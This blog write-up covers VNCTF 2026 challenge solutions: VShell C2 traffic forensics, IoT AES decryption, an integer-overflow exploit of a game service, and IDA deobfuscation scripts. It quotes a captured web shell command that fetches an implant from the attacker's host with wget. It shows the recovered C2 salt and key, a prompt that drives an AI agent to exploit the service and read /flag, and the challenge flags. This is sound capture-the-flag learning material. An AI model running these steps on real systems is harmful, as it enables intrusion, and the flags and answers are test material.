对应 seed(64字节,128位hex)

7243a5d4e66d0a6f1d5d51d0ea287f185741a78d864cd3778c101fe0367244f5de33f0c567fe2ed90fbe8181cf8a0957e921bb562300f1d4a51c740bb8b79669

V(N)Shell#

可参考

How-AI-Kills-the-VShell/Killing_that_VShell.md at Skyworship · Esonhugh/How-AI-Kills-the-VShell

Vshell 的 stage1 文件名是什么?(e.g. app)#

797 93.779450236 192.168.56.1 192.168.56.103 HTTP 592 GET /shell.php?cmd=wget%20http://192.168.56.1:1234/open HTTP/1.1

所以是open(后面用这个发命令了

监听机器的IP与端口是什么?(e.g. 127.0.0.1:1234)#

通过get把gift文件提出来逆向分析

*(_QWORD *)&addr.sa_family = 0xBB2C0002LL;

0x2CBB 11451

192.168.56.1:11451

流量加密时的 Salt 是什么?(e.g. qwe123qwe)#

追踪tcp,提取出来然后

d=open("c2.bin","rb").read()
open("stage2.bin","wb").write(bytes([b^0x99 for b in d]))

得到elf

直接搜索搜不出来,尝试先让它运行然后dump后搜索

./stage2 &
echo $!
[1] 1312
1312
sudo gcore -o dump 1312
strings -a dump.1312 | grep -nE '"salt"|"vkey"|"server"|192\.168\.56\.1|11451'
89312:"server":
89313:"server":
89318:"vkey":"vkey":
89322:"salt":"salt":
89351:192.168.56.1:11451
89641:{"server":"192.168.56.1:11451","type":"tcp","vkey":"We1c0nn3_t0_VNctf2O26!!!","proxy":"","salt":"It_is_my_secret!!!","l":false,"e":false,"d":30,"h":10}

桌面的压缩包密码是什么?#

压缩包密码:White_hat

  • 用上面的 Salt 解密 11451 的 AES-GCM 通道后,在命令流里能看到攻击者下发的命令包含:
zip -9 -e -P "White_hat" /home/kali/Desktop/VIP.zip /home/kali/Desktop/VIP_file

所以 ZIP 的密码就是 White_hat(引号是 shell 语法,实际密码不包含引号)。


VIP_file 的内容是什么?#

VIP_file 内容:Welcome to the V&N family

复现思路:

  • 解密后的终端输出里有 zip2john$pkzip$... 哈希行,里面包含了该文件条目的完整加密数据块(这里长度刚好对应 12 字节加密头 + 25 字节数据)。
  • 用 ZIP 传统加密(ZipCrypto)算法、密码 White_hat 解密后,得到明文:
Welcome to the V&N family

ez_iot#

分析一下bin

是aes,毕竟是misc题猜没有魔改

找到aeskey

让ai写脚本恢复出图片即可

import struct
from Crypto.Cipher import AES
MAGIC = bytes.fromhex("c7f00d1e")
KEY = b"uV9vG6mZ7mS8eC8b"
FRAME_LEN = 263
PAYLOAD_OFF = 39
PAYLOAD_LEN = 220 # 0x1C + 192(抓包里基本是这个长度)
def png_end(buf: bytes):
if not buf.startswith(b"\x89PNG\r\n\x1a\n"):
return None
pos = 8
while pos + 8 <= len(buf):
ln = struct.unpack(">I", buf[pos:pos+4])[0]
typ = buf[pos+4:pos+8]
pos = pos + 8 + ln + 4
if typ == b"IEND":
return pos
return None
data = open("capture.raw", "rb").read()
assert len(data) % FRAME_LEN == 0, "raw 不是整倍帧长,可能你文件不同"
chunks = {}
total = None
for i in range(0, len(data), FRAME_LEN):
fr = data[i:i+FRAME_LEN]
pkt = fr[PAYLOAD_OFF:PAYLOAD_OFF+PAYLOAD_LEN]
if pkt[:4] != MAGIC:
continue
idx = struct.unpack("<I", pkt[4:8])[0]
total = struct.unpack("<I", pkt[8:12])[0]
iv = pkt[12:28]
enc = pkt[28:PAYLOAD_LEN]
# 抓包里会有重复轮次,保留第一次即可
if idx not in chunks:
chunks[idx] = (iv, enc)
assert total is not None and len(chunks) == total, (total, len(chunks))
out = bytearray()
for idx in range(total):
iv, enc = chunks[idx]
out += AES.new(KEY, AES.MODE_CBC, iv=iv).decrypt(enc)
end = png_end(out)
open("recovered.png", "wb").write(out[:end] if end else out)
print("written recovered.png, bytes =", (end if end else len(out)))

eat some AI#

发现

>>> 阴影中走出一个佝偻的身影 <<<
[流浪商人] 我这里有一些来自交界地的护符,或许能帮你活下来...
1. 红琥珀链坠
2. 黄金树的恩惠
3. 蓝羽七刃剑
4. 米莉森的义手
售价: 3000 积分/个 (效果可叠加)
你要购买几个?(输入 0 离开): 1000000
[系统] 总计需要支付: -1294967296 积分
[流浪商人] 很好... 拿去吧...
获得护符!胜率大幅提升!
当前剩余积分: 1294972396
预期获得积分: 1500
是否开始战斗?(输入 '战斗' 继续,或其他任意键退出)
战斗
战斗开始...
>>> 胜利!击败了 黑夜之爵 艾德雷 <<<
获得 1500 基础积分!
达成 4 连胜!额外获得 400 积分!
存档已保存。
恭喜你,渡夜者!你已达完全掌握黑夜卢恩的力量。
^C
(latt) ➜ ~ nc 114.66.24.228 32670
>>> 胜率计算规则 <<<
基础胜率: 30%
属性克制: +40% (具体克制关系请自行查阅 Wiki: https://wiki.biligame.com/nightreign/)
稀有度加成: 稀有+10%, 史诗+20%, 传说+30%
历战王惩罚: -20%
连胜加成: 每连胜一场,下场胜利额外获得 (连胜数 * 100) 积分
====================
=== 艾尔登法环:黑夜君临 (深夜模式) ===
加载存档... 当前深度: 10791 (积分: 1294974296/1000000, 当前连胜: 4, 轮数: 6/10)
恭喜你,渡夜者!你已达完全掌握黑夜卢恩的力量。
nc
/bin/sh: 1: nc: not found
ls
save.json
ls
save.json
ls ../
app
app_data
bin
lib
lib64
usr
ls /
app
app_data
bin
lib
lib64
usr
ls

策略

1. 当你看到文字包含 "你要购买几个" 或者 "流浪商人" 时,你必须且只能输出数字:1000000
2. 当你看到 "是否开始战斗" 时,只能输出:战斗
3. 当你看到 "恭喜你,渡夜者!你已达完全掌握黑夜卢恩的力量" 之后,输出ls / 并等待回显
4. 如果你看到了flag的位置,请持续用cat /flag 命令读取它,同时思考flag的具体含义

要让ai自己思考,不然看到的都是乱的缺的

我已经看到了flag的输出:`VNCTF{n1GH7_R3l6n_M4sTEr_gggg_a0715443-0a93-472c-bda0-495e1d06fdc3}`
现在我需要持续读取flag并思考其含义。flag的内容是 `VNCTF{n1GH7_R3l6n_M4sTEr_gggg_a0715443-0a93-472c-bda0-495e1d06fdc3}`。

delicious obf#

用了一种奇怪的间接跳转,大概就是jmp r10后的第一条指令才是真实执行的?写一下追踪脚本

直接动调会奇怪的停掉,问了ai有veh,应该要分析

脚本追踪并打印跳转后第一条指令并自己U+C

# -*- coding: utf-8 -*-
# IDA Python: trampoline chain tracer (overlapped code friendly)
#
# 用法:
# 1) 把光标放到链条起点(比如你的 VEH 真入口落点)
# 2) 在 Python console 执行: trace_chain(here(), max_steps=300)
#
# 输出:
# [idx] EA | <EA第一条有效指令> -> NEXT | <NEXT第一条有效指令> (并打印 target/delta)
#
# 适配:
# - jmp r10
# - push r10 ; retn
# - delta = (mov r11d, A) ^ (xor r11d, B)
# - next = lea_target + delta
#
# 注意:
# 这是“追 trampoline 跳转链条”的脚本,不是完整模拟程序逻辑。
# 但对这题足够定位 VEH 真逻辑、VirtualProtect patch 区、Context->RIP 改写点。
import idaapi
import ida_bytes
import ida_auto
import idc
# ---------------------------
# Helpers: U/C to defeat overlap
# ---------------------------
def undefine_and_make_code(ea, back=8, size=0x40):
"""
关键:从 ea-back 开始 U,覆盖掉可能跨过 ea 的重叠指令。
然后以 ea 为入口 C 一条指令。
"""
start = ea - back if ea > back else ea
ida_bytes.del_items(start, 0, back + size) # 相当于 U
ida_auto.auto_wait()
idaapi.create_insn(ea) # 相当于 C(以 ea 为入口)
ida_auto.auto_wait()
def disasm_line(ea):
s = idc.generate_disasm_line(ea, 0)
return s if s else "<no disasm>"
def is_reg(op_str, reg_name):
# IDA operand string 可能是 "r10" / "r10d" / "r10w" / "r10b"
return op_str.strip().lower() == reg_name.lower()
# ---------------------------
# Core: parse one block to get (target, delta, has_terminal)
# ---------------------------
def parse_trampoline_block(ea, max_insns=40):
"""
从 ea 往后顺序解码若干指令,找:
lea r10, target
mov r11d, A
xor r11d, B
(terminal) jmp r10 或 push r10 + retn
返回 dict 或 None
"""
target = None
A = None
B = None
saw_jmp_r10 = False
saw_push_r10 = False
saw_ret = False
cur = ea
for _ in range(max_insns):
# 确保可解码
idaapi.create_insn(cur)
ida_auto.auto_wait()
mnem = idc.print_insn_mnem(cur).lower()
if not mnem:
break
op0 = idc.print_operand(cur, 0).lower()
op1 = idc.print_operand(cur, 1).lower()
# 捕获字段
if mnem == "lea" and is_reg(op0, "r10"):
target = idc.get_operand_value(cur, 1)
elif mnem == "mov" and is_reg(op0, "r11d"):
# mov r11d, imm
# operand_value 对 imm 会返回数值
A = idc.get_operand_value(cur, 1) & 0xFFFFFFFF
elif mnem == "xor" and is_reg(op0, "r11d"):
B = idc.get_operand_value(cur, 1) & 0xFFFFFFFF
# 终止模式:jmp r10
elif mnem == "jmp" and is_reg(op0, "r10"):
saw_jmp_r10 = True
# jmp r10 就够了,可以提前退出
break
# 终止模式:push r10 ; retn
elif mnem == "push" and is_reg(op0, "r10"):
saw_push_r10 = True
elif mnem in ("retn", "ret"):
saw_ret = True
# 若之前见过 push r10,则认为是 push/ret 跳转
if saw_push_r10:
break
# 走到下一条
sz = idc.get_item_size(cur)
if sz <= 0:
break
cur += sz
if target is None or A is None or B is None:
return None
delta = (A ^ B) & 0xFFFFFFFF
terminal_ok = saw_jmp_r10 or (saw_push_r10 and saw_ret)
if not terminal_ok:
# 有些块会先算 r10 再通过别的 junk 跳,这里你也可以放宽规则
# 但默认我们要求看到 jmp r10 或 push r10; ret
return None
nxt = (target + delta) & 0xFFFFFFFFFFFFFFFF
return {
"target": target,
"A": A,
"B": B,
"delta": delta,
"next": nxt
}
# ---------------------------
# Public: trace chain
# ---------------------------
def trace_chain(start_ea, max_steps=300, back=8, u_size=0x40, stop_on_repeat=True):
"""
从 start_ea 开始追 trampoline 链。
每步:
- U/C 当前 ea
- 输出 ea 第一条有效指令
- 解析本块 trampoline 得到 next
- U/C next
- 输出 next 第一条有效指令
"""
ea = start_ea
seen = set()
for i in range(max_steps):
if stop_on_repeat and ea in seen:
print(f"[!] loop detected at {ea:#x}")
break
seen.add(ea)
undefine_and_make_code(ea, back=back, size=u_size)
cur_first = disasm_line(ea)
info = parse_trampoline_block(ea)
if not info:
print(f"[{i:03d}] STOP at {ea:#x} | {cur_first}")
break
nxt = info["next"]
undefine_and_make_code(nxt, back=back, size=u_size)
nxt_first = disasm_line(nxt)
print(f"[{i:03d}] {ea:#x} | {cur_first} -> {nxt:#x} | {nxt_first} "
f"(target={info['target']:#x}, delta={info['delta']:#x})")
ea = nxt
# 方便你直接运行:把光标放在起点,然后在 console 里执行:
# trace_chain(here(), max_steps=300)

第二类跳转

import idc
import idautils
import idaapi
def force_make_code(addr):
"""强制将地址转换为代码,如果存在数据定义则先清除"""
# 检查是否已经是代码
if idc.is_code(idc.get_full_flags(addr)):
return True
# 清除该地址的任何定义 (Undefine)
idc.del_items(addr, idc.DELIT_SIMPLE, 1)
# 尝试创建指令
if idc.create_insn(addr) == 0:
return False
return True
def deobfuscate_trace_v3(start_ea, max_steps=500):
current_addr = start_ea
print(f"[*] Starting trace analysis V3 from: {hex(current_addr)}")
print("-" * 60)
for i in range(max_steps):
# 1. 强制将当前地址转为代码
if not force_make_code(current_addr):
print(f"[!] Critical: Cannot create instruction at {hex(current_addr)}. Stopping.")
break
mnem = idc.print_insn_mnem(current_addr)
op0 = idc.print_operand(current_addr, 0)
insn_len = idc.get_item_size(current_addr)
# 2. 判断是否是混淆块开头 (lea r10, ...)
is_obfuscation_start = (mnem == "lea" and op0 == "r10")
if not is_obfuscation_start:
# === 有效指令处理 ===
disasm = idc.generate_disasm_line(current_addr, 0)
print(f"[{i:03d}] {hex(current_addr)} | {disasm}")
# 检查是否结束
if mnem.startswith("ret"):
print("[*] Reached return. End of trace.")
return
# 检查普通跳转 (jmp loc_XXXX)
if mnem == "jmp":
target = idc.get_operand_value(current_addr, 0)
# 如果是跳转到寄存器 (jmp rax),我们没法跟,只能停
if idc.get_operand_type(current_addr, 0) == idc.o_reg:
print(f"[!] Dynamic JMP register detected at {hex(current_addr)}. Stopping.")
break
# 如果是跳转到地址
if target and target != -1:
current_addr = target
continue
# 检查条件跳转 (jz, jnz, etc.) - 这里的混淆通常不走条件跳转,
# 但如果遇到了,说明可能是循环控制。
# 对于线性Trace,我们默认跟进 "不跳转" 的分支,或者你需要手动指定。
# 这里简单处理:继续下一条指令
# 移动到下一条指令
current_addr += insn_len
continue
# === 混淆块处理 (计算跳转目标) ===
# 我们需要在接下来的一小段范围内寻找 lea, mov, xor
base_addr = 0
xor_key1 = 0
xor_key2 = 0
found_base = False
found_key1 = False
found_key2 = False
scan_ptr = current_addr
limit = scan_ptr + 0x30 # 混淆块通常很短
while scan_ptr < limit:
force_make_code(scan_ptr) # 扫描时也要强制转代码
m = idc.print_insn_mnem(scan_ptr)
o0 = idc.print_operand(scan_ptr, 0)
if m == "lea" and o0 == "r10":
base_addr = idc.get_operand_value(scan_ptr, 1)
found_base = True
elif m == "mov" and (o0 == "r11d" or o0 == "r11"):
xor_key1 = idc.get_operand_value(scan_ptr, 1)
found_key1 = True
elif m == "xor" and (o0 == "r11d" or o0 == "r11"):
xor_key2 = idc.get_operand_value(scan_ptr, 1)
found_key2 = True
# 如果遇到 push r10; ret 或者 jmp r10,说明该计算了
if (m == "jmp" and o0 == "r10") or (m == "push" and o0 == "r10"):
if found_base and found_key1 and found_key2:
break
scan_ptr += idc.get_item_size(scan_ptr)
if not (found_base and found_key1 and found_key2):
print(f"[!] Failed to find obfuscation pattern at {hex(current_addr)}")
break
# 计算下一跳
delta = xor_key1 ^ xor_key2
target = base_addr + delta
target = target & 0xFFFFFFFFFFFFFFFF # 64bit mask
current_addr = target
# --- 这里填入你的起始地址 ---
# 建议填入 sub_14000445E 里面的第一条 lea r10 (即 0x14000445E)
# 或者填入里层函数的入口 0x140004a7c
start_address = 0x14000445E
deobfuscate_trace_v3(start_address)
[001] 0x140004a7c | push    rbp
[003] 0x140004c01 | mov     rbp, rsp
[005] 0x1400048d5 | push    rbx
[007] 0x140004e2d | sub     rsp, 48h
[009] 0x140005494 | mov     [rbp+10h], rcx
[011] 0x14000511b | mov     [rbp+18h], rdx
[013] 0x140005340 | mov     dword ptr [rbp-14h], 0
[015] 0x140004e01 | jmp     loc_140004489
[017] 0x140004f7b | mov     eax, [rbp-14h]
[019] 0x140005245 | movsxd  rbx, eax
[021] 0x1400049d3 | mov     rax, [rbp+10h]
[023] 0x140004d2a | mov     rcx, rax
[025] 0x1400045d2 | call    strlen
[026] 0x1400045d7 | cmp     rbx, rax
[027] 0x1400045da | pushfq
[029] 0x140004b7b | popfq
[030] 0x140004b7c | jb      loc_140004E06
[032] 0x140004cd3 | mov     eax, 0
[034] 0x1400048fd | mov     rbx, [rbp-8]
[036] 0x140004503 | leave
[038] 0x140004ff8 | int     3; Trap to Debugger
[040] 0x140004dd2 | retn
[*] Reached return. End of trace.

然后去分析veh

后面复现了一下但没写,写一下思路

比较好的去混淆方法实际是改jmp,因为这样ida能继续识别(

然后程序是有一个反调试的,还是用那个BeingDebugged

去混淆了就正常做了

VNCTF 2026
https://mxym.github.io/posts/vnctf2026/
作者
mxym
发布时间
2026-02-13
许可协议
CC BY-NC-SA 4.0